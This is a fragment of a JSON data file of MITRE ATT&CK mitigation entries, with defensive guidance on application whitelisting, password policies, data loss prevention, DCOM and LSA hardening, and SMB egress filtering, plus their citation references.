            "description": "Restrict the modification of environment variables to authorized users and processes by enforcing strict permissions and policies. This ensures the integrity of environment variables, preventing adversaries from abusing or altering them for malicious purposes. This mitigation can be implemented through the following measures:\n\nRestrict Write Access:\n\n- Use Case: Set file system-level permissions to restrict access to environment variable configuration files (e.g., `.bashrc`, `.bash_profile`, `.zshrc`, `systemd` service files).\n- Implementation: Configure `/etc/environment` or `/etc/profile` on Linux systems to only allow root or administrators to modify the file.\n\nSecure Access Controls:\n\n- Use Case: Limit access to environment variable settings in application deployment tools or CI/CD pipelines to authorized personnel.\n- Implementation: Use role-based access control (RBAC) in tools like Jenkins or GitLab to ensure only specific users can modify environment variables.\n\nRestrict Process Scope:\n\n- Use Case: Configure policies to ensure environment variables are only accessible to the processes they are explicitly intended for.\n- Implementation: Use containerized environments like Docker to isolate environment variables to specific containers and ensure they are not inherited by other processes.\n\nAudit Environment Variable Changes:\n\n- Use Case: Enable logging for changes to critical environment variables.\n- Implementation: Use `auditd` on Linux to monitor changes to files like `/etc/environment` or application-specific environment files.",
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                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
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            "name": "Re-opened Applications Mitigation",
            "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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            "name": "Netsh Helper DLL Mitigation",
            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
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                    "url": "https://attack.mitre.org/mitigations/T1172",
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                {
                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
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                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
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            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
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            "name": "Data Loss Prevention",
            "description": "Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks. (Citation: PurpleSec Data Loss Prevention) This mitigation can be implemented through the following measures:\n\nSensitive Data Categorization:\n\n- Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).\n- Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.\n\nExfiltration Restrictions:\n\n- Use Case: Prevent unauthorized transmission of sensitive data.\n- Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.\n\nData-in-Transit Monitoring:\n\n- Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.\n- Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.\n\nEndpoint Data Protection:\n\n- Use Case: Monitor and control sensitive data usage on endpoints.\n- Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.\n\nCloud Data Security:\n\n- Use Case: Protect data stored in cloud platforms.\n- Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.",
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                    "source_name": "PurpleSec Data Loss Prevention",
                    "description": "Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021.",
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                {
                    "source_name": "CERT-EU DDoS March 2017",
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
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            "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
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            "name": "Multi-hop Proxy Mitigation",
            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).",
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            "name": "XSL Script Processing Mitigation",
            "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.",
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            "name": "LC_LOAD_DYLIB Addition Mitigation",
            "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.",
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            "description": "The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response. The Do Not Mitigate category underscores the importance of assessing the trade-offs between mitigation efforts and overall system integrity. This mitigation can be implemented through the following measures:\n\nComplex Systems Where Mitigation is Risky:\n\n- Interpretation: In certain systems, direct mitigation could introduce new risks, especially if the system is highly interconnected or complex, such as in legacy industrial control systems (ICS). Patching or modifying these systems could result in unplanned downtime, disruptions, or even safety risks.\n- Use Case: In a power grid control system, attempting to patch or disable certain services related to device communications might disrupt critical operations, leading to unintended service outages.\n\nRisk of Reducing Security Coverage:\n\n- Interpretation: In some cases, mitigating a technique might reduce the visibility or effectiveness of other security controls, limiting an organization\u2019s ability to detect broader attacks.\n- Use Case: Disabling script execution on a web server to mitigate potential PowerShell-based attacks could interfere with legitimate administrative operations that rely on scripting, while attackers may still find alternate ways to execute code.\n\nIntroduction of New Vulnerabilities:\n\n- Interpretation: In highly sensitive or tightly controlled environments, implementing certain mitigations might create vulnerabilities in other parts of the system. For instance, disabling default security mechanisms in an attempt to resolve compatibility issues may open the system to exploitation.\n- Use Case: Disabling certificate validation to resolve internal communication issues in a secure environment could lead to man-in-the-middle attacks, creating a greater vulnerability than the original problem.\n\nNegative Impact on Performance and Availability:\n\n- Interpretation: Mitigations that involve removing or restricting system functionalities can have unintended consequences for system performance and availability. Some mitigations, while effective at blocking certain attacks, may introduce performance bottlenecks or compromise essential operations.\n- Use Case: Implementing high levels of encryption to mitigate data theft might result in significant performance degradation in systems handling large volumes of real-time transactions.",
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                    "source_name": "Windows Blogs Microsoft Edge Sandbox",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
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                    "source_name": "Microsoft LSA Protection Mar 2014",
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                    "source_name": "Microsoft DLL Security",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Process Hollowing Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Data from Local System Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "National Institute of Standards and Technology. (2020, September). Security and Privacy Controlsfor Information Systems and Organizations. Retrieved August 30, 2024.",
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                    "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
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                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
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                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
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                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
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            "name": "Dynamic Data Exchange Mitigation",
            "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
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            "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "NSA MS AppLocker",
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            "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
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            "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. ",
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            "name": "Hidden Files and Directories Mitigation",
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            "name": "Input Prompt Mitigation",
            "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).",
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                    "url": "https://attack.mitre.org/mitigations/T1060",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Registry Run Keys / Startup Folder Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1085"
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                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
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            "modified": "2025-04-18T18:00:02.847Z",
            "name": "Rundll32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
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            "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
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                    "url": "https://attack.mitre.org/mitigations/T1006",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "File System Logical Offsets Mitigation",
            "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Password Policies",
            "description": "Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n\nWindows Systems:\n\n- Use Group Policy Management Console (GPMC) to configure:\n    - Minimum password length (e.g., 12+ characters).\n    - Password complexity requirements.\n    - Password history (e.g., disallow last 24 passwords).\n    - Account lockout duration and thresholds.\n\nLinux Systems:\n\n- Configure Pluggable Authentication Modules (PAM):\n- Use `pam_pwquality` to enforce complexity and length requirements.\n- Implement `pam_tally2` or `pam_faillock` for account lockouts.\n- Use `pwunconv` to disable password reuse.\n\nPassword Managers:\n\n- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.\n\nPassword Blacklisting:\n\n- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.\n\nRegular Auditing:\n\n- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.\n\n*Tools for Implementation*\n\nWindows:\n\n- Group Policy Management Console (GPMC): Enforce password policies.\n- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.\n\nLinux/macOS:\n\n- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.\n- Lynis: Audit password policies and system configurations.\n\nCross-Platform:\n\n- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.\n- Have I Been Pwned API: Prevent the use of breached passwords.\n- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.",
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            "created": "2019-06-11T16:43:05.712Z",
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                    "url": "https://attack.mitre.org/mitigations/M1040",
                    "external_id": "M1040"
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                    "url": "https://attack.mitre.org/mitigations/T1175",
                    "external_id": "T1175"
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                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
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                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
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                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
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                    "source_name": "Microsoft Disable DCOM",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
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                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
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            "modified": "2025-04-18T18:00:03.386Z",
            "name": "Distributed Component Object Model Mitigation",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
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                    "url": "https://attack.mitre.org/mitigations/T1191",
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                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
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            "name": "CMSTP Mitigation",
            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
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                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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            "name": "Network Share Connection Removal Mitigation",
            "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
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            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
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                    "source_name": "Microsoft DLL Preloading",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
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                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
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                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "MITRE SE Guide 2014",
                    "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.",
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                    "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.",
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            "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Remote System Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "name": "Logon Scripts Mitigation",
            "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
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                    "source_name": "TechNet Screensaver GP",
                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
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            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
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            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
